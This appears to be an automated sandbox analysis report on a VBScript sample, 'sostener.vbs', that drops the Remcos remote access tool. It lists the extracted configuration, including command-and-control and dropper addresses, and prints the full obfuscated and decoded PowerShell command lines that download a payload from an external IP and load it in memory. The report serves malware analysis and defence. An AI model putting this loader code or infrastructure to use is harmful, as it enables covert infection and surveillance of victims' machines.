Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
05/06/2024, 07:27
General
- Target sostener.vbs
- Size 1.7MB
- Sample240605-h94beaad24
- SHA256 e07ba399fe939b18fc6aeb9b7fc831c746b14d6854d107c9211bf0e7fbcad1c8
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://91.202.233.169/Tak/Reg/Marz/ZQWER/DllXF3.txt
Extracted
-
remcos
-
RemoteHost
-
remcoss2024feb.duckdns.org:4576
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-0EVXPH
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bo▒Hk▒bQBz▒GQ▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒Gw▒YgBr▒GQ▒bg▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒HM▒e▒B3▒HE▒cQ▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒Og▒v▒C8▒OQ▒x▒C4▒Mg▒w▒DI▒Lg▒y▒DM▒Mw▒u▒DE▒Ng▒5▒C8▒V▒Bh▒Gs▒LwBS▒GU▒Zw▒v▒E0▒YQBy▒Ho▒LwBa▒FE▒VwBF▒FI▒LwBE▒Gw▒b▒BY▒EY▒Mw▒u▒HQ▒e▒B0▒Cc▒KQ▒p▒Ds▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EE▒c▒Bw▒EQ▒bwBt▒GE▒aQBu▒F0▒Og▒6▒EM▒dQBy▒HI▒ZQBu▒HQ▒R▒Bv▒G0▒YQBp▒G4▒LgBM▒G8▒YQBk▒Cg▒J▒Bz▒Hg▒dwBx▒HE▒KQ▒u▒Ec▒ZQB0▒FQ▒eQBw▒GU▒K▒▒n▒EM▒b▒Bh▒HM▒cwBM▒Gk▒YgBy▒GE▒cgB5▒DE▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒WgB4▒Es▒S▒BH▒Cc▒KQ▒u▒Ek▒bgB2▒G8▒awBl▒Cg▒J▒Bu▒HU▒b▒Bs▒Cw▒I▒Bb▒G8▒YgBq▒GU▒YwB0▒Fs▒XQBd▒C▒▒K▒▒n▒D▒▒LwB4▒Fk▒UQBa▒Hg▒LwBk▒C8▒ZQBl▒C4▒ZQB0▒HM▒YQBw▒C8▒Lw▒6▒HM▒c▒B0▒HQ▒a▒▒n▒C▒▒L▒▒g▒CQ▒b▒Bi▒Gs▒Z▒Bu▒C▒▒L▒▒g▒Cc▒XwBf▒F8▒XwBf▒GQ▒Z▒Bf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒a▒B5▒G0▒cwBk▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell -command $KByHL;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$hymsd = '0';$lbkdn = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[Byte[]] $sxwqq = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/ZQWER/DllXF3.txt'));[system.AppDomain]::CurrentDomain.Load($sxwqq).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('0/xYQZx/d/ee.etsap//:sptth' , $lbkdn , '_____dd__________________-------------', $hymsd, '1', 'Roda' ));"3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
logs.dat
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_i4c2ijud.olb.ps1
memory/3092-10-0x00000158F6260000-0x00000158F6282000-memory.dmp
memory/3092-11-0x00007FF8E5BB0000-0x00007FF8E6671000-memory.dmp
memory/3092-12-0x00007FF8E5BB0000-0x00007FF8E6671000-memory.dmp
memory/3092-0-0x00007FF8E5BB3000-0x00007FF8E5BB5000-memory.dmp
memory/3092-35-0x00007FF8E5BB0000-0x00007FF8E6671000-memory.dmp
memory/3168-36-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-60-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-28-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-25-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-24-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-74-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-41-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-42-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-73-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-47-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-48-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-54-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-55-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-31-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-61-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-66-0x0000000000400000-0x0000000000482000-memory.dmp
memory/3168-68-0x0000000000400000-0x0000000000482000-memory.dmp
memory/4836-22-0x00000204BCC70000-0x00000204BCC7A000-memory.dmp
memory/4836-23-0x00000204D4EE0000-0x00000204D4EEA000-memory.dmp